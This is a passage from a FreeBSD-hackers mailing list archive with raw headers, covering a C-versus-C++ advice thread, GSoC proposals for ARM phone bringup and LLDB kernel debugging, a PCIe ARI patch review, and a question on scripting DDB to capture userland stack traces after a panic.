Mon, 17 Mar 2014 16:36:51 -0000 The systems programming class in university was a lot about rewriting common unix tools from 'cut' to a shell and network programming. On Mon, Mar 17, 2014 at 5:22 PM, by wrote: > By the way, who knows how to improve C skills? Cause I am a newbie, and I > am reading the book <> > But I plan read it a little everyday, so any other methods? > > - by > > > On Mar 18, 2014, at 0:15, by wrote: > > > > I totally agree with you! > > Actually, now I prefer the domain which is not too low but not too high > neither, in a word, I think being a system programmer should be cool. > > > > - by > > > >> On Mar 17, 2014, at 21:22, Johan Bucht wrote: > >> > >> As there are different strengths and weaknesses resulting from the > design decisions chosen for the different languages, learn as many > different types as you can and experience how they shape solutions to > problems in different ways and how you reason about them. > >> > >> "I have never met anybody who has changed their reasoning first and > their habits second. You change your habits first." > >> > >> The end goal is to solve problems in your domain, having a languages > that maps perfectly to that domain (or makes it easy to create domain > specific languages in) will certainly make it easier to read and write that > code. But is it worth creating and maintaining that language for a small > domain and train people in it? General purpose languages exists because of > this. They might not map perfectly to the domain, but they have familiarity > and cross breeding between users in different domains. > >> Some languages are really small with little functionality included in > the standard library, others are huge and contain a lot of seldom used > functionality. For the small languages you might need to write common > functionality yourself or find something someone else has written. For > large languages you get that for free and most users will use what's > provided. You get a standard way of solving problems, but the tools might > not be best of breed or suit your specific use case. > >> > >> /Johan > >> > >> > >>> On Mon, Mar 17, 2014 at 11:38 AM, by wrote: > >>> Yes, you are right, i have some prejudice for C++ before, but now, i > think i won't, cause if i have not deeply working for some languages, > technologies, i have no right to judge it, i need more and more practice : ) > >>> Different fields got different technologies, the only key i think is > that which field you prefer, and what kind of technology you prefer. > >>> > >>> - by > >>> > >>> > >>>> On 2014/3/17 17:14, Johan Bucht wrote: > >>>> Working in higher level languages like Java, Ruby, Python and C++ > does have > >>>> some advantages to C and some disadvantages. There are always trade > offs > >>>> and there will always be languages closer to the domain that will be > more > >>>> elegant to solve specific problems. > >>>> If you're mainly doing programming close to the hardware the > abstractions > >>>> from those higher level languages doesn't add much value and the > runtime > >>>> with garbage collection and more is something you probably need to be > able > >>>> to turn off. > >>>> It's of course possible to implement a lot of the features in higher > level > >>>> languages in lower level ones, but the syntax will not be that > suitable for > >>>> it and you need to impose restrictions on yourself instead of the > language > >>>> doing it for you. > >>>> For some tasks C is too high level and Assembler is needed but for > most of > >>>> the tasks any language will do and it's a matter of personal taste. > >>>> > >>>> /Johan > >>>> > >>>>> On Mon, Mar 17, 2014 at 3:50 AM, by wrote: > >>>>> > >>>>> Well, I think C++'s popular has something related to C's popular > use, but > >>>>> it contains too much, I prefer simple tool, do one thing, and do it > well, > >>>>> no more extras, and build a system with their combinations, at least > the > >>>>> base system. > >>>>> > >>>>> - by > >>>>> > >>>>>> On Mar 17, 2014, at 10:38, Erich Dollansky wrote: > >>>>>> > >>>>>> Hi, > >>>>>> > >>>>>> On Mon, 17 Mar 2014 10:20:55 +0800 > >>>>>> by wrote: > >>>>>> > >>>>>> as C++ is C plus 'some' extras, just start with C. When you know C - > >>>>>> which you have to know anyway to write C++ programs - you can add > C++ > >>>>>> to your knowledge. > >>>>>> > >>>>>> Never forget that object orientated programming is much older than > C++ > >>>>>> and can be done in most languages. I did my first steps in object > >>>>>> orientated programming in 8080 assembler without even knowing that > >>>>>> what I did will be later be known as object orientated programming. > >>>>>> > >>>>>> The little programming I still do is all done in C but using some of > >>>>>> the 'addons' of C++. So, all my sources are .cpp files. > >>>>>> > >>>>>> Erich > >>>>>>> Hi, > >>>>>>> At first, I would say, I do not want to lead to a holy war between > >>>>>>> programming languages, and I am a newbie in this field, but I am > >>>>>>> confused about this, so I want get some answers or discusses from > >>>>>>> here to help me thinking about this. I found that in IT industry, > C++ > >>>>>>> has more and more users, I can understand why they do this, C++ can > >>>>>>> make them build system more easy than C does. okay, I just know a > >>>>>>> little about C++, but in my feeling, C++ can make you do things in > a > >>>>>>> higher place. Yes, C++ is great, but for me, it is too difficult, > or > >>>>>>> I would say, it is too complicated. I got two books in my hand, one > >>>>>>> is <>, another is < >>>>>>> Language>>. Just consider from the weight : ) You can find > something. > >>>>>>> Language>>In the past, GCC use C, but now it turn to C++, and LLVM > is > >>>>>>> Language>>written by C++. Yes I prefer C now, and you may say, you > >>>>>>> Language>>have not use these two languages deeply, how could you > >>>>>>> Language>>judge them? Yes, I know I should not judge them, but as a > >>>>>>> Language>>newbie, this is my very feeling, just like a kid first > >>>>>>> Language>>looking at this world! Simple, but confused. At last, I > am > >>>>>>> Language>>not lead to a holy war between programming languages, I > >>>>>>> Language>>just confused and want some related answers. This is it. > : ) > >>>>>>> > >>>>>>> - by > >>>>>>> _______________________________________________ > >>>>>>> freebsd-hackers@freebsd.org mailing list > >>>>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > >>>>>>> To unsubscribe, send any mail to > >>>>>>> "freebsd-hackers-unsubscribe@freebsd.org" > >>>>> _______________________________________________ > >>>>> freebsd-hackers@freebsd.org mailing list > >>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > >>>>> To unsubscribe, send any mail to " > freebsd-hackers-unsubscribe@freebsd.org" > >>>> _______________________________________________ > >>>> freebsd-hackers@freebsd.org mailing list > >>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > >>>> To unsubscribe, send any mail to " > freebsd-hackers-unsubscribe@freebsd.org" > > _______________________________________________ > > freebsd-hackers@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > To unsubscribe, send any mail to " > freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 18:04:26 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B43FDFAB; Mon, 17 Mar 2014 18:04:26 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id F2601604; Mon, 17 Mar 2014 18:04:25 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) by freebsd.czest.pl (8.14.5/8.14.5) with ESMTP id s2HI2hgo076101; Mon, 17 Mar 2014 18:02:43 GMT (envelope-from wkoszek@freebsd.czest.pl) Received: (from wkoszek@localhost) by freebsd.czest.pl (8.14.5/8.14.5/Submit) id s2HI2h6u076100; Mon, 17 Mar 2014 18:02:43 GMT (envelope-from wkoszek) Date: Mon, 17 Mar 2014 18:02:42 +0000 From: "Wojciech A. Koszek" To: Ganbold Tsagaankhuu Subject: Re: [GSoC 2014] Interested in ARM bringup tasks Message-ID: <20140317180242.GJ37327@FreeBSD.org> References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Spam-Status: No, score=-0.4 required=5.0 tests=RP_MATCHES_RCVD, SPF_HELO_PASS, SPF_PASS autolearn=ham version=3.3.2 X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on freebsd.czest.pl X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.7 (freebsd.czest.pl [212.87.224.105]); Mon, 17 Mar 2014 18:02:48 +0000 (UTC) Cc: freebsd-hackers@freebsd.org, "freebsd-arm@freebsd.org" , Alexander Tarasikov X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 18:04:26 -0000 On Mon, Mar 17, 2014 at 08:39:24AM +0800, Ganbold Tsagaankhuu wrote: > Alexander, > > > On Mon, Mar 17, 2014 at 7:19 AM, Alexander Tarasikov < > alexander.tarasikov@gmail.com> wrote: > > > Hello, FreeBSD community! > > > > I am interested in participating in GSoC this year and I'd like to > > pick up one of the tasks related to porting FreeBSD to new > > architectures. I'm now doing my master's degree in software > > engineering at the "Higher School of Economics" in Moscow. > > > > Since I love ARM and smartphones, I've chosen the project to port > > FreeBSD to a smartphone. If that task is already occupied (which > > doesn't seem so), I would be happy to pick up another task suggested > > by the community. > > > > I want to port FreeBSD to the Sony Xperia Z phone. This phone has the > > Qualcomm APQ8064 SoC which is used in a large number of smartphones, > > including Google Nexus 4. Besides, Qualcomm SoCs are developed > > incrementally so there's a high chance that the code for current > > generation of chips will benefit future revisions as well. > > > > Interesting. I'm not quite sure how accessible is some pins like uart in > Experia Z. > I have it here, but I still didn't try to open it yet to see the pins etc. > Probably you meant here some embedded boards like ifc6410. > Plus ifc6410 has docs so that could be useful too. Alexander, Ganbold, To get an access to UART in modern phones you typically get it via phone jack. By building/buying special adapter, you make your microphone jack become a serial cable. There are schematics online. For Nexus 4 the cable looked really simple. > > It is known that debugging like JTAG and flash recovery is not > > available on consumer devices because of DRM and general love for > > obfuscation among the vendors. Therefore, to prevent bricking the > > device, > > > That is the hell, it seems Qualcomm uses lauterbach jtag adapter in that > case. > I and my friend and also some people have tried some adapters like > flyswatter2 with ifc6410, still no luck. > I suggest using the chainloading approach, that is using the > > bootloader that ships with the device and pretend to be a linux image. > > > > That can be done. Their bootloader like maybe LK in case of ifc6410 can > boot freebsd kernel. > Actually I did that for ifc6410. > > > > > > For the mid-term I want to port the u-boot bootloader and add the > > support for accessing the microSD card from it. The u-boot will be > > flashed to the device instead of the linux kernel. If this project was to be attacked, I'd try to check if there's a way to re-use existing bootloader (on the phone) and just try to boot different kernel. Otherwise (if you have to work on U-boot) it's no longer a FreeBSD project. So I'd say: try to research the platform accessibility first. If U-boot work is absolutely necessary, it's probably fine to do something there, but if it's lots of time working on some other stuff, I'm not convinced. Can modern phones netboot/USB boot somehow? > > That could be cool. > > > > > > Since the proprietary bootloader already initializes the display (we > > can also port linux driver to u-boot), it should be possible, at least > > during the initial stage, to use a simple driver in FreeBSD that would > > write to the framebuffer allocated by the bootloader or only write the > > framebuffer address to the display controller. > > > > > That is nice. However first we need uart driver, then either usb ehci, mmc > or sata driver needs to mount rootfs in order to boot freebsd to multiuser > mode. I already have timer driver and minimal console driver so it makes > booting little bit easier. > > > > > > In the past I've successfully ported linux to an Intel XScale-based > > Asus P525 smartphone, ported Android with all hardware working to boot > > from NAND on the Sony Xperia X1 phone and have ported various boards > > from OEM to vanilla kernel trees. Recently I've experimented with the > > XNU kernel (the one which is used in the fruity operating system) and > > ported it to the OMAP5 board. So I think I'll be able to pull it off. > > > > Cool. In case of android or linux there are many people working on various > stuffs so in most case drivers are either written or somebody has got > started working on particular driver already. For FreeBSD case it is > different. You maybe know that very few people are working in case of ARM > platform bringup, so we need more developers and I'm happy that you decided > to work on this direction. > I wonder if SDK shipped by Google could be used to emulate given smartphone. They already ship with the emulator, and pre-defined profiles for devices. I wonder if Android kernel developers know more about running emulated kernels. -- Wojciech A. Koszek wkoszek@FreeBSD.czest.pl http://FreeBSD.czest.pl/~wkoszek/ From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 18:06:45 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A8B0F1B5 for ; Mon, 17 Mar 2014 18:06:45 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 86E8E63D for ; Mon, 17 Mar 2014 18:06:45 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s2HI6iJN007933 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 17 Mar 2014 11:06:44 -0700 (PDT) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s2HI6iYo007932; Mon, 17 Mar 2014 11:06:44 -0700 (PDT) (envelope-from jmg) Date: Mon, 17 Mar 2014 11:06:44 -0700 From: John-Mark Gurney To: by Subject: Re: Something related to C and C++ Message-ID: <20140317180644.GI32089@funkthat.com> Mail-Followup-To: by , "freebsd-hackers@freebsd.org" References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Mon, 17 Mar 2014 11:06:44 -0700 (PDT) Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 18:06:45 -0000 by wrote this message on Mon, Mar 17, 2014 at 10:20 +0800: > At last, I am not lead to a holy war between programming languages, I just confused and want some related answers. This is it. Is there a question here related to FreeBSD? I couldn't find one even after reading it multiple times.. If you want to know about differents between C and C++ another forum is more appropriate than this... Thanks. -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 19:35:32 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 093F1513; Mon, 17 Mar 2014 19:35:32 +0000 (UTC) Received: from mail-vc0-x233.google.com (mail-vc0-x233.google.com [IPv6:2607:f8b0:400c:c03::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id AC76CED2; Mon, 17 Mar 2014 19:35:31 +0000 (UTC) Received: by mail-vc0-f179.google.com with SMTP id ij19so6180562vcb.24 for ; Mon, 17 Mar 2014 12:35:30 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=k3nvFW4sn+8jwU+iPHT3UvNNvlSitpddxsqQIK4nXaM=; b=niidksWq0cNxodglQMBeqlx+NLBPJb6jVvcUdQucP8RxzPo6Sa4ethUGJfqGyQdKPD ZfmaJ5QW2jfO5Xm111D8jDceG3MdNCDDaxFuZ6Oazd6NM/suTBf4H3Hq4/ZvLhJqdtba bhN62V9v15fs2XwwDcajyGXmSjxVAMqyWGnEZTAU3QzHp8SAalvjX/4nrTcVsLYsVAiA 6IRcYiTmBsh7b6sdOV3Rsqf8/L/cjPtYo0GELAAGwxadkmCm5r1HbC9q9MAuNhY3Fj+y Gfd8AN10dfF2ixri4fyaG062ptv9Kt9YFUC/nINeQfjLarmOciRBBkl2m3L4PU6BlZAd 7jEA== MIME-Version: 1.0 X-Received: by 10.52.120.6 with SMTP id ky6mr28637vdb.38.1395084930776; Mon, 17 Mar 2014 12:35:30 -0700 (PDT) Received: by 10.220.135.199 with HTTP; Mon, 17 Mar 2014 12:35:30 -0700 (PDT) Date: Mon, 17 Mar 2014 20:35:30 +0100 Message-ID: Subject: GSoC proposal: kernel debugging support for LLDB From: Mike Ma To: Ed Maste , freebsd-hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 19:35:32 -0000 Hi all, I've submitted a GSoC proposal here, http://www.google-melange.com/gsoc/proposal/public/google/gsoc2014/mikemandarine/5665319561461760. I'm copying the proposal here for wider audience. Any suggestions or comments are more than appreciated. Thanks a lot for your time. Project Description I'm planning to add a plugin called FreeBSD-kernel to LLDB, and the existing userland ELF core strategies can be inherited. On FreeBSD system, kernel virtual memory image can be accessed using libkvm interfaces, as to support kernel debugging, libkvm APIs, i.e. kvm_read(3)/kvm_write(3), will be mainly used. To fully support kernel debugging, module metadata parsing and module automatic loading will also be implemented. There is some existing work related to this project. The first is kgdb in FreeBSD code base, it is a kernel debugger based on gdb. Plus, there is Mac OS X kernel debugging support in LLDB as well. This project will be focused on the platform that LLDB supports, including amd64, mips and i386. Once this project is done, remote kernel debugging and cross-platform kernel debugging would be the next steps of interest. Deliverables - There are two major milestones: #1 Basic support for opening kernel crash dumps and /dev/mem. (mid-term deliverable) #2 Full debugging support by adding module parsing and loading. (final deliverable) Test Plan - Check all functionalities and commands are working properly, and compare behavior with kgdb and LLDB. - Benchmark tests on startup, stepping, etc. Project Schedule - Week 1 - 3: Kernel crash dumps support. - Week 4 - 6: Live debugging against /dev/mem support. - Week 7 - 10: Kernel Module parsing and loading support. - Week 11 - 12: Tests and bug fixing, and documentation work. All features should be done by the suggested Pencils down day (Aug. 11th). -- Cheers, Mike From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 21:20:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5853711F for ; Mon, 17 Mar 2014 21:20:01 +0000 (UTC) Received: from mail-qa0-x22b.google.com (mail-qa0-x22b.google.com [IPv6:2607:f8b0:400d:c00::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 17C8CB0A for ; Mon, 17 Mar 2014 21:20:01 +0000 (UTC) Received: by mail-qa0-f43.google.com with SMTP id j15so5941329qaq.2 for ; Mon, 17 Mar 2014 14:20:00 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=3LLvbbCUOXiNvPh3IOP3f2gjQtPuj2xHvoD6mw8SS2Y=; b=dBqfY7EKIltWjbTINYatwahuzKDqIk25v4y+XAaHayI8bJbPHoRYralChABIrqZCSw 0ccUdyfInfEXJOLA/hCe+NrHIW/dax3zX0n0aFEPniZXcP1bt/jsfp1H9gTzTufL0OYP P4upHzLGOTEKhdUHlwKL1J+qwXbAYRzQuh3pM5v2rrFupTiHoXki4+jY9zmxL6pum6Lp 3HRmPAp7YFuTnK7SA3p+ZQUjdV6p1/RvZjT9sj/6R3uNQbK/DQF3RcXx93T/F5wgP20X fsED8+bH0wLkoAWASRlTm8CkzWkbH7tLFckOiNswZZPGBMinOghmx6rSLNa02GyTxDBM Q5AQ== MIME-Version: 1.0 X-Received: by 10.140.81.198 with SMTP id f64mr29208897qgd.38.1395091200306; Mon, 17 Mar 2014 14:20:00 -0700 (PDT) Received: by 10.140.87.74 with HTTP; Mon, 17 Mar 2014 14:20:00 -0700 (PDT) In-Reply-To: References: <20140316141216.GA21331@kib.kiev.ua> Date: Mon, 17 Mar 2014 14:20:00 -0700 Message-ID: Subject: Re: [PATCH] Support PCIe Alternative RID Interpretation (ARI) From: Neel Natu To: Ryan Stone Content-Type: text/plain; charset=ISO-8859-1 Cc: Konstantin Belousov , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 21:20:01 -0000 Hi Ryan, On Sun, Mar 16, 2014 at 8:05 AM, Ryan Stone wrote: > On Sun, Mar 16, 2014 at 10:12 AM, Konstantin Belousov > wrote: >> This is expected, but it would break VT-d busdma, I think. >> >> This is not said in the VT-d spec about ARI, but I believe that >> DMAR would split the function number by 7-3/2-0 bits, same as for >> the non-ARI devices. Then the transactions will be translated by >> the wrong context. > > Ah, good catch. I took a quick look at the spec and the code, and I > believe that I see the problem. I think that the proper solution is > to add a new method, pcib_get_rid(), that returns (bus << 8) | (slot > << 5) | func for non-ARI devices and (bus << 8) | func for ARI > devices. Then we could add a pci_get_rid() that just calls the pcib > method, and the DMAR code could be changed to work in terms of the RID > instead of bus/slot/function. My reading of the spec is that VT-d is > really implemented in terms of the RID anyway, but the spec authors > took pains to give examples in terms of bus/slot/function because > that's how the software developers understand things. > > Do you know if bhyve's pci passthrough code uses the same code to add > DMAR entries as the busdma code? If not I'll have to track down how > bhyve does it because it would likely have the same problem. > bhyve has a different implementation of the VT-d driver although transitioning to x86/iommu is long overdue. In any case it seems that the VT-d implementation in bhyve will work fine with ARI enabled devices. best Neel >> From other minor notes, having additional line for "ARI enabled" >> message under bootverbose would make already excessive PCI config >> dump even more problematic. > > I can remove it. At the time I wanted some kind of indication that > ARI was being used, but pciconf can tell you that now so it's not > really necessary. > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 23:24:45 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4DAF4189 for ; Mon, 17 Mar 2014 23:24:45 +0000 (UTC) Received: from cain.gsoft.com.au (cain.gsoft.com.au [203.31.81.10]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id A4E2990C for ; Mon, 17 Mar 2014 23:24:44 +0000 (UTC) Received: from ur.dons.net.au (ppp118-210-139-70.lns20.adl6.internode.on.net [118.210.139.70]) (authenticated bits=0) by cain.gsoft.com.au (8.14.4/8.14.3) with ESMTP id s2HNOMFB057869 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO); Tue, 18 Mar 2014 09:54:29 +1030 (CST) (envelope-from doconnor@gsoft.com.au) Subject: Re: Extracting user stack traces from a crash dump Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Content-Type: multipart/signed; boundary="Apple-Mail=_4EB32AC7-AC84-490A-8A67-5207FA555653"; protocol="application/pgp-signature"; micalg=pgp-sha1 From: "Daniel O'Connor" In-Reply-To: Date: Tue, 18 Mar 2014 09:54:22 +1030 Message-Id: <3E530A84-432D-40DE-A229-6E3DFCA1FA14@gsoft.com.au> References: <21FD6187-811C-48D9-BAC8-105F54F39989@gsoft.com.au> To: Ryan Stone X-Mailer: Apple Mail (2.1874) X-Spam-Score: 0.163 () BAYES_00,RDNS_DYNAMIC X-Scanned-By: MIMEDefang 2.67 on 203.31.81.10 Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 23:24:45 -0000 --Apple-Mail=_4EB32AC7-AC84-490A-8A67-5207FA555653 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=iso-8859-1 On 17 Mar 2014, at 22:32, Ryan Stone wrote: > On Mon, Mar 17, 2014 at 5:41 AM, Daniel O'Connor = wrote: >> Hi, >> Does anyone know of a tool that can extract userland stack traces = from a crash dump? >> I did some googling and the closest I can see is to use DDB, but = obviously that is only possible when I can access the console. >>=20 >> Is it something procstat should/could be extended to do? >=20 > If I'm understanding you correctly, you have a kernel core and you > want to see the backtrace in *userland*? e.g. >=20 > malloc() > strdup() > main() Yep. > That's not possible with a minidump. A minidump does not include > memory for any userland processes, only the kernel, so you can't see > what any userland threads were doing at the time of the crash. You > could find the trap frame for the thread at the bottom of the kernel > stack and map the instruction pointer for the top userland frame, but > that's it. OK, thanks. I'll think of another way then! Do you know how to script DDB to dump userland stack frames on panic? I = had a go with... sudo ddb script 'kdb.enter.panic=3Dtextdump set; capture on; show = allpcpu; bt;ps; alltrace/u; show alllocks; call doadump; reset' However that output didn't show up in /var/crash as I was hoping.. -- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum GPG Fingerprint - 5596 B766 97C0 0E94 4347 295E E593 DC20 7B3F CE8C --Apple-Mail=_4EB32AC7-AC84-490A-8A67-5207FA555653 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org iD8DBQFTJ4Qm5ZPcIHs/zowRArc5AJ4gY3f0PRvG/AMp5Kj2SQk4sY1L6ACeOYK1 plsK3b3vpVUNYQW/MteEaHc= =kLIC -----END PGP SIGNATURE----- --Apple-Mail=_4EB32AC7-AC84-490A-8A67-5207FA555653-- From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 23:55:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0F82E7A5 for ; Mon, 17 Mar 2014 23:55:04 +0000 (UTC) Received: from nm41.bullet.mail.bf1.yahoo.com (nm41.bullet.mail.bf1.yahoo.com [216.109.114.57]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id A1E1FB88 for ; Mon, 17 Mar 2014 23:55:03 +0000 (UTC) Received: from [66.196.81.174] by nm41.bullet.mail.bf1.yahoo.com with NNFMP; 17 Mar 2014 23:55:01 -0000 Received: from [98.139.213.14] by tm20.bullet.mail.bf1.yahoo.com with NNFMP; 17 Mar 2014 23:55:01 -0000 Received: from [127.0.0.1] by smtp114.mail.bf1.yahoo.com with NNFMP; 17 Mar 2014 23:55:01 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1395100501; bh=lVseqBw0JM7oM57MnqkWvlYqXT+N23N+G9cgfIPs0CM=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:References:Mime-Version:In-Reply-To:Content-Type:Content-Transfer-Encoding:Message-Id:Cc:X-Mailer:From:Subject:Date:To; b=Aj7nDRv93d60midCaBftqyIlqI1LEtlW3wYUYJ8S4P8y63wg9j+UHynpQ8oRbM5xfq3hWuKr7yeZh7m/3d4mxCYmmvlJInIdRNOCvoR1cpXHToH2RpEXpiN7NavrCWrVoUGFy/Gl2D06Vpz+kCueSQPu1CNaI9jodCKkFlDTe/s= X-Yahoo-Newman-Id: 352228.14323.bm@smtp114.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: Tyx9PFcVM1nWB4N.rSQgVtn6H1xWkBwjydxdDxfft_cTGC7 iXMt0_kFkDa2wGdXtRGGv9oS42QPuoDUaSjWIiPSQiai_qgkp_MYDFlnUxI_ 8i1gBX2OSHO2ximrSuG.485LulEE6Yp0L7wGMw3OfCKFrdG_F95g65U8Ruzr YXyZ2nd7dMZo5FqlfAIW0UAXhJPwVn7J4yHmSKRtbxwP3DBXGPLYq_zse5uw NZXz8biyapZ10AJHDlB1Q3cAYH5P4S7Rz8rjFxAn4Cju.bOJ0jAf26F3u0hV PpYRWJOdLykI2.1PurARdpx9uRpChHZGAV_Z_OAu9l7WR6PGRtN.m8MSY0LQ FUUuoZy5E9Zx9YP4znaYF.EDPxDSB9qa_NP3yq_ccjhZ7rgTmsuIsm_h80gN 8eyYd5GOKhRIb3lVFR53IxK.s5v.35sCiT_cjza077b95vN2PHjDe8mGMx5q oFp6HHpRddjq4KClVTbmmFcupQbmpguNFpfFwM1v6DcOLxHthpP8fIYblH2a g2brnr_z.lgWwunNeC4f3 X-Yahoo-SMTP: LAFNfTaswBDguI7meB90l2l3wOU- X-Rocket-Received: from [10.147.101.71] (free7by@117.136.24.130 with xymcookie [106.10.149.123]) by smtp114.mail.bf1.yahoo.com with SMTP; 17 Mar 2014 16:55:01 -0700 PDT References: <20140317103830.53c42ade@X220.alogt.com> <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> <5326D093.90308@yahoo.com> <39562806-80F4-4D4C-BAFD-20DCB537B303@yahoo.com> Mime-Version: 1.0 (1.0) In-Reply-To: Content-Type: text/plain; charset=us-ascii 